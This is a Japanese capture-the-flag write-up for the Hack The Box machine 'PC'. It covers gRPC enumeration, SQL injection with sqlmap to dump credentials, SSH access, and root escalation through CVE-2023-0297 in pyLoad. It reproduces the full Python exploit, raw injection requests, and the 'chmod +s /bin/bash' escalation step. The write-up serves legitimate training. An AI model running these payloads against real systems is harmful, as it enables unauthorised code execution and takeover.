Hack The BoxのWriteup(PC)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「PC」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン
  (2) gRPC(50051/tcp)へのアクセス
  (3) gRPC(50051/tcp)へのアクセス時のヘッダー確認
  (4) gRPC(50051/tcp)へのSQLインジェクション
  (5) SSHログインによるsauユーザー権限の奪取
  (6) 特権昇格のための調査
  (7) ポートフォワードを用いた8000番ポートへのアクセス
  (8) 特権昇格(CVE-2023-0297の脆弱性を悪用)

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やgRPC(50051/tcp)などポートが応答がある。
※gRPCとは、Googleによって開発されたリモートプロシージャコール (RPC) システム。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.214
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-03 19:04 JST
Nmap scan report for 10.10.11.214
Host is up (0.32s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
|   256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_  256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open  grpc
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (90%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%), Linux 4.19 (90%), OpenWrt 21.02 (Linux 5.4) (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   202.43 ms 10.10.16.1
2   412.20 ms 10.10.11.214

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.66 seconds


gRPC(50051/tcp)へのアクセス


(1) evansをインストールするためにKali LinuxのOS情報を確認すると、Linux kali 6.12.20-amd64であることが分かる。

$ uname -a
Linux kali 6.12.20-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.20-1kali1 (2025-03-26) x86_64 GNU/Linux


(2) ブラウザを用いて「https://github.com/ktr0731/evans」にアクセスする。


(3) 下部にある「GitHub Release」をクリックする。


(4) 「https://github.com/ktr0731/evans/releases」のWebページが表示される。


(5) 下部にある「evans_linux_amd64.tar.gz」をクリックすると、ファイルがダウンロードされる。


(6) ダウンロードしたファイル(evans_linux_amd64.tar.gz)を解凍する。

$ tar -zxvf evans_linux_amd64.tar.gz


$ ls -l
-rwxr-xr-x 1 kali kali 24144399  2月 26  2023 evans
-rw-rw-r-- 1 kali kali 12361429  7月  4 07:20 evans_linux_amd64.tar.gz


(7) evansを用いて攻撃対象のマシン(PC)のgRPC(50051/tcp)にアクセスする。

$ ./evans --host 10.10.11.214 -r

  ______
 |  ____|
 | |__    __   __   __ _   _ __    ___
 |  __|   \ \ / /  / _. | | '_ \  / __|
 | |____   \ V /  | (_| | | | | | \__ \
 |______|   \_/    \__,_| |_| |_| |___/

 more expressive universal gRPC client


SimpleApp@10.10.11.214:50051>


(8) evansを用いてサービス一覧を確認すると、3個のRPC(LoginUser、RegisterUser、getInfo)があることが分かる。

SimpleApp@10.10.11.214:50051> show service
+-----------+--------------+---------------------+----------------------+
|  SERVICE  |     RPC      |    REQUEST TYPE     |    RESPONSE TYPE     |
+-----------+--------------+---------------------+----------------------+
| SimpleApp | LoginUser    | LoginUserRequest    | LoginUserResponse    |
| SimpleApp | RegisterUser | RegisterUserRequest | RegisterUserResponse |
| SimpleApp | getInfo      | getInfoRequest      | getInfoResponse      |
+-----------+--------------+---------------------+----------------------+


(9) SimpleAppサービスのRegisterUserにアクセスして、ユーザーを登録する。

SimpleApp@10.10.11.214:50051> service SimpleApp


SimpleApp@10.10.11.214:50051> call RegisterUser
username (TYPE_STRING) => zerizeri
password (TYPE_STRING) => zerizeri
{
  "message": "Account created for user zerizeri!"
}


(10) 登録したユーザーを用いてログインすると、IDが表示される。

SimpleApp@10.10.11.214:50051> call LoginUser
username (TYPE_STRING) => zerizeri
password (TYPE_STRING) => zerizeri
{
  "message": "Your id is 868."
}


(11) 取得したIDを用いてgetInfoを呼び出すと、tokenが必要である旨のメッセージが表示される。

SimpleApp@10.10.11.214:50051> call getInfo
id (TYPE_STRING) => 868
{
  "message": "Authorization Error.Missing 'token' header"
}


(12) 現在設定されているヘッダー情報を確認すると、tokenヘッダーは設定されていないことが分かる。

SimpleApp@10.10.11.214:50051> show header
+-------------+-------+
|     KEY     |  VAL  |
+-------------+-------+
| grpc-client | evans |
+-------------+-------+


gRPC(50051/tcp)へのアクセス時のヘッダー確認


(1) evansの使用方法を確認すると、「–enrich」オプションでレスポンスのヘッダーを確認できる。

SimpleApp@10.10.11.214:50051> call --help
usage: call <method name>

Options:
      --add-repeated-manually      prompt asks whether to add a value if it encountered to a repeated field
      --bytes-as-base64            explicitly interpret TYPE_BYTES input as base64-encoded string (mutually exclusive with --bytes-from-file and --bytes-as-quoted-literals)
      --bytes-as-quoted-literals   interpret TYPE_BYTES input as a string of (quoted) byte literal or Unicode (mutually exclusive with --bytes-from-file and --bytes-as-base64)
      --bytes-from-file            interpret TYPE_BYTES input as a relative path to a file (mutually exclusive with --bytes-as-base64)
      --dig-manually               prompt asks whether to dig down if it encountered to a message field
      --emit-defaults              render fields with default values
      --enrich                     enrich response output includes header, message, trailer and status
  -r, --repeat                     repeat previous unary or server streaming request (if exists)


(2) 「–enrich」オプションを指定してユーザーを登録する。

SimpleApp@10.10.11.214:50051> call --enrich RegisterUser
username (TYPE_STRING) => zerizeri
password (TYPE_STRING) => zerizeri
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

{
  "message": "Account created for user zerizeri!"
}

code: OK
number: 0
message:


(3) 「–enrich」オプションを指定して登録したユーザーを用いてログインすると、IDとtokenヘッダーの情報が表示されていることが分かる。

SimpleApp@10.10.11.214:50051> call --enrich LoginUser
username (TYPE_STRING) => zerizeri
password (TYPE_STRING) => zerizeri
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

{
  "message": "Your id is 302."
}

token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiemVyaXplcmkiLCJleHAiOjE3NTE2OTczNjJ9.MMkocTXc-ppRgzynFQAzLgFba8jfo-16QQpih0mXPbQ'

code: OK
number: 0
message: ""


(4) 取得したtokenヘッダーの情報を設定する。

SimpleApp@10.10.11.214:50051> header token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiemVyaXplcmkiLCJleHAiOjE3NTE2OTczNjJ9.MMkocTXc-ppRgzynFQAzLgFba8jfo-16QQpih0mXPbQ


SimpleApp@10.10.11.214:50051> show header
+-------------+---------------------------------------------------------------------------------------------------------------------------------------+
|     KEY     |                                                                  VAL                                                                  |
+-------------+---------------------------------------------------------------------------------------------------------------------------------------+
| grpc-client | evans                                                                                                                                 |
| token       | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiemVyaXplcmkiLCJleHAiOjE3NTE2OTczNjJ9.MMkocTXc-ppRgzynFQAzLgFba8jfo-16QQpih0mXPbQ |
+-------------+---------------------------------------------------------------------------------------------------------------------------------------+


(3) 「–enrich」オプションを指定して情報を取得すると、エラーメッセージが表示される。

SimpleApp@10.10.11.214:50051> call --enrich getInfo
id (TYPE_STRING) => 302


content-type: application/grpc

code: Unknown
number: 2
message: "Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable"

command call: rpc error: code = Unknown desc = Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable


(4) 試しにSQLインジェクションの脆弱性があるか確認するために、IDにSQL文を埋め込むと実行できる。そのため、SQLインジェクションの脆弱性があることが分かる。

SimpleApp@10.10.11.214:50051> call --enrich getInfo
id (TYPE_STRING) => 302 UNION SELECT 1
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

{
  "message": "1"
}

code: OK
number: 0
message:


gRPC(50051/tcp)へのSQLインジェクション


(1) sqlmapを用いたSQLインジェクションを実行するためにリクエストデータを取得する必要がある。そのため、ブラウザを用いてgRPCへアクセスできる「https://github.com/fullstorydev/grpcui」を実行する準備をする。

(2) 「https://github.com/fullstorydev/grpcui」を使用するために各コマンドを実行する。

$ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"


$ export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/linuxbrew/.linuxbrew/bin


$ brew -v
Homebrew 4.5.8


$ brew install grpcui


$ grpcui -version
grpcui 1.4.3


(3) grpcuiを用いて攻撃対象のマシン(PC)のgRPC(50051/tcp)にアクセスする。

$ grpcui -plaintext 10.10.11.214:50051


(4) ブラウザが起動してgRPC Web UIのWebページが表示される。


(5) デフォルトではIPアドレスが127.0.0.1へのアクセスはプロキシを経由しないため、FireFoxのURL欄に「about:config」を入力してアクセスする。その後、「Accept the Risk and Continue」をクリックする。


(6) 「network.proxy.allow_hijacking_localhost」の値をTrueに変更する。


(7) 再度「–enrich」オプションを指定してユーザーを登録する。

SimpleApp@10.10.11.214:50051> call --enrich RegisterUser
username (TYPE_STRING) => zerizeri
password (TYPE_STRING) => zerizeri
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

{
  "message": "Account created for user zerizeri!"
}

code: OK
number: 0
message: ""


(8) 「–enrich」オプションを指定して登録したユーザーを用いてログインして、IDとtokenヘッダーの情報を確認する。

SimpleApp@10.10.11.214:50051> call --enrich LoginUser
username (TYPE_STRING) => zerizeri
password (TYPE_STRING) => zerizeri
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

{
  "message": "Your id is 829."
}

token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiemVyaXplcmkiLCJleHAiOjE3NTE3NDI2NTR9.o6ZQPEzEnFL-S5jeuteQB_SPCuLp8EutjQ1DcMP_-g8'

code: OK
number: 0
message: ""


(9) 取得したIDやtokenヘッダーの情報を入力して、getInfoメソッドを実行する。


(10) レスポンスデータの値が表示されることを確認する。


(11) Burp Suiteでリクエストデータの内容を確認する。


(12) 「”data”:[{“id”:”829″}]」の値を「”data”:[{“id”:”829*”}]」に変更して、リクエストデータの値をファイルに保存する。

$ vi request.txt

【request.txtの内容】
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:39773
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
x-grpcui-csrf-token: wvweH_TpvGxFdcgsaH96cRJR50vT7PNuDAtqetLZ69U
X-Requested-With: XMLHttpRequest
Content-Length: 197
Origin: http://127.0.0.1:39773
Connection: keep-alive
Referer: http://127.0.0.1:39773/
Cookie: _grpcui_csrf_token=wvweH_TpvGxFdcgsaH96cRJR50vT7PNuDAtqetLZ69U
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiemVyaXplcmkiLCJleHAiOjE3NTE3NDI2NTR9.o6ZQPEzEnFL-S5jeuteQB_SPCuLp8EutjQ1DcMP_-g8"}],"data":[{"id":"829*"}]}


(13) sqlmapを用いてSQLインジェクションを実行すると、sauユーザーのパスワードが「HereIsYourPassWord1431」であることが分かる。

$ sqlmap -r request.txt --dump --threads 10 --level 5 --risk 3 --batch
ーーー(省略)ーーー
[01:41:28] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[01:41:28] [INFO] fetching tables for database: 'SQLite_masterdb'
[01:41:28] [INFO] fetching columns for table 'messages' 
[01:41:29] [INFO] fetching entries for table 'messages'
Database: <current>
Table: messages
[1 entry]
+----+----------------------------------------------+----------+
| id | message                                      | username |
+----+----------------------------------------------+----------+
| 1  | The admin is working hard to fix the issues. | admin    |
+----+----------------------------------------------+----------+

[01:41:29] [INFO] table 'SQLite_masterdb.messages' dumped to CSV file '/home/kali/.local/share/sqlmap/output/127.0.0.1/dump/SQLite_masterdb/messages.csv'
[01:41:29] [INFO] fetching columns for table 'accounts' 
[01:41:30] [INFO] fetching entries for table 'accounts'
Database: <current>
Table: accounts
[2 entries]
+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+
ーーー(省略)ーーー



SSHログインによるsauユーザー権限の奪取


(1) SSHを用いてsauユーザーでログインする。

$ ssh sau@10.10.11.214
  →パスワード(HereIsYourPassWord1431)を入力する。


(2) 現在ログインしているユーザー情報を確認すると、sauユーザーであることが分かる。

$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)

$ whoami
sau


(3) 一般ユーザー用のフラグファイルを確認する。

$ cat /home/sau/user.txt
ae228a6930a321ed2cf5290ff9edd917


特権昇格のための調査


(1) sudoコマンドの設定を確認する。

$ sudo -l
  →パスワード(HereIsYourPassWord1431)を入力する。
Sorry, user sau may not run sudo on localhost.


(2) SUIDファイルを検索する。

$ find / -perm -u=s -type f 2> /dev/null
/snap/snapd/17950/usr/lib/snapd/snap-confine
/snap/core20/1778/usr/bin/chfn
/snap/core20/1778/usr/bin/chsh
/snap/core20/1778/usr/bin/gpasswd
/snap/core20/1778/usr/bin/mount
/snap/core20/1778/usr/bin/newgrp
/snap/core20/1778/usr/bin/passwd
/snap/core20/1778/usr/bin/su
/snap/core20/1778/usr/bin/sudo
/snap/core20/1778/usr/bin/umount
/snap/core20/1778/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1778/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/at
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/umount
/usr/bin/gpasswd


(3) .bash_historyファイルを確認すると、何も出力されない。

$ cat .bash_history


(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。

$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done  2>/dev/null
22 open
8000 open
9666 open
41400 open
47010 open
50051 open


$ ss -tlpn | grep "LISTEN"
LISTEN  0        4096       127.0.0.53%lo:53             0.0.0.0:*
LISTEN  0        128              0.0.0.0:22             0.0.0.0:*
LISTEN  0        5              127.0.0.1:8000           0.0.0.0:*
LISTEN  0        128              0.0.0.0:9666           0.0.0.0:*
LISTEN  0        128                 [::]:22                [::]:*
LISTEN  0        4096                   *:50051                *:*


(5) OSの情報を確認すると、「Ubuntu 20.04.6 LTS」であることが分かる。

$ uname -a
Linux pc 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux


$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.6 LTS
Release:        20.04
Codename:       focal


ポートフォワードを用いた8000番ポートへのアクセス


(1) Kali Linuxの8000番ポートに接続すると、攻撃対象のマシン(PC)の8000番にアクセスするようにポートフォワードの設定をする。

※Kali Linux上で以下のコマンドを実行する。

$ ssh -L 8000:127.0.0.1:8000 sau@10.10.11.214
  →パスワード(HereIsYourPassWord1431)を入力する。


(2) ブラウザを用いて「http://127.0.0.1:8000/」にアクセスすると、「http://127.0.0.1:8000/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F」にリダイレクトされPyLoadのWebページが表示される。


(3) 攻撃対象マシン(PC)上でpyloadのプロセスを確認すると、rootユーザーで実行されていることが分かる。

※sauユーザーでログインした攻撃対象マシン(PC)上で以下のコマンドを実行する。

$ ps aux | grep pyload
root        1062  0.0  1.6 1217404 65892 ?       Ssl  Jul05   0:12 /usr/bin/python3 /usr/local/bin/pyload
sau         2471  0.0  0.0   8160  2544 pts/0    S+   00:24   0:00 grep --color=auto pyload


(4) pyloadのバージョンを確認すると、0.5.0であることが分かる。

※sauユーザーでログインした攻撃対象マシン(PC)上で以下のコマンドを実行する。

$ pyload --version
pyLoad 0.5.0


(5) 「pyLoad 0.5.0 exploit」でGoogle検索すると、CVE-2023-0297のコードインジェクションの脆弱性があり、ExploitDB(https://www.exploit-db.com/exploits/51532)に攻撃コードが公開されている。

(6) 「import os」と「os.environ[“http_proxy”] = “http://127.0.0.1:8080″」を追記して、ExploitDB(https://www.exploit-db.com/exploits/51532)の攻撃コードをファイルに保存する。

※Kali Linux上で以下のコマンドを実行する。

$ vi CVE-2023-0297.py

【CVE-2023-0297.pyの内容】
import requests, argparse
import os

os.environ["http_proxy"] = "http://127.0.0.1:8080"
parser = argparse.ArgumentParser()
parser.add_argument('-u', action='store', dest='url', required=True, help='Target url.')
parser.add_argument('-c', action='store', dest='cmd', required=True, help='Command to execute.')
arguments = parser.parse_args()

def doRequest(url):
    try:
        res = requests.get(url + '/flash/addcrypted2')
        if res.status_code == 200:
            return True
        else:
            return False

    except requests.exceptions.RequestException as e:
        print("[!] Maybe the host is offline :", e)
        exit()

def runExploit(url, cmd):
    endpoint = url + '/flash/addcrypted2'
    if " " in cmd:
        validCommand = cmd.replace(" ", "%20")
    else:
        validCommand = cmd

    payload = 'jk=pyimport%20os;os.system("'+validCommand+'");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'
    test = requests.post(endpoint, headers={'Content-type': 'application/x-www-form-urlencoded'},data=payload)
    print('[+] The exploit has be executeded in target machine. ')

def main(targetUrl, Command):
    print('[+] Check if target host is alive: ' + targetUrl)
    alive = doRequest(targetUrl)
    if alive == True:
        print("[+] Host up, let's exploit! ")
        runExploit(targetUrl,Command)
    else:
        print('[-] Host down! ')

if(arguments.url != None and arguments.cmd != None):
    targetUrl = arguments.url
    Command = arguments.cmd
    main(targetUrl, Command)


(7) CVE-2023-0297の脆弱性を悪用して、「touch /tmp/tmp1.txt」コマンドを実行する。

※Kali Linux上で以下のコマンドを実行する。

$ python3 CVE-2023-0297.py -u http://127.0.0.1:8000 -c "touch /tmp/tmp1.txt"


(8) /tmp/tmp1.txtファイルを確認すると、rootユーザー権限でファイルが生成されていることが分かる。そのため、攻撃対象のマシン(PC)にCVE-2023-0297の脆弱性を悪用すると、rootユーザー権限でコマンドを実行できることが分かる。

※sauユーザーでログインした攻撃対象マシン(PC)上で以下のコマンドを実行する。

$ ls -al /tmp/tmp1.txt
-rw-r--r-- 1 root root 0 Jul  6 00:46 /tmp/tmp1.txt


(9) 参考までに、Burp Suiteでリクエストデータを確認することができる。

【リクエストデータの内容】
POST /login?next=http%3A%2F%2F127.0.0.1%3A8000%2F/flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 113

jk=pyimport%20os;os.system("touch%20/tmp/tmp1.txt");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa




特権昇格(CVE-2023-0297の脆弱性を悪用)


(1) /bin/bashにSUIDを設定することで特権昇格ができるため、SUID設定前の/bin/bashの権限を確認する。

※sauユーザーでログインした攻撃対象マシン(PC)上で以下のコマンドを実行する。

$ ls -al /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash


(2) Burp Suiteを用いて「chmod +s /bin/bash」コマンドをURLエンコードする。

【URLエンコード前】
chmod +s /bin/bash

【URLエンコード後】
%63%68%6d%6f%64%20%2b%73%20%2f%62%69%6e%2f%62%61%73%68




(3) CVE-2023-0297の脆弱性を悪用して、「chmod +s /bin/bash」コマンドを実行する。

※Kali Linux上で以下のコマンドを実行する。

$ python3 CVE-2023-0297.py -u http://127.0.0.1:8000 -c "%63%68%6d%6f%64%20%2b%73%20%2f%62%69%6e%2f%62%61%73%68"                                                      
[+] Check if target host is alive: http://127.0.0.1:8000
[+] Host up, let's exploit! 
[+] The exploit has be executeded in target machine.


(4) 参考までに、Burp Suiteでリクエストデータを確認することができる。

【リクエストデータの内容】
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 146

jk=pyimport%20os;os.system("%63%68%6d%6f%64%20%2b%73%20%2f%62%69%6e%2f%62%61%73%68");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa


(5) /bin/bashにSUIDを設定されていることを確認する。

$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash


(6) 「/bin/bash -p」コマンドを実行して、特権昇格する。

$ /bin/bash -p
bash-5.0#


(7) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

# id
uid=1001(sau) gid=1001(sau) euid=0(root) egid=0(root) groups=0(root),1001(sau)

# whoami
root


(8) 特権ユーザー用のフラグファイルを確認する。

# cat /root/root.txt
c5111514f1ac511dd1fce6635d0915c7


関連記事(Hack The Box)

※後日作成予定。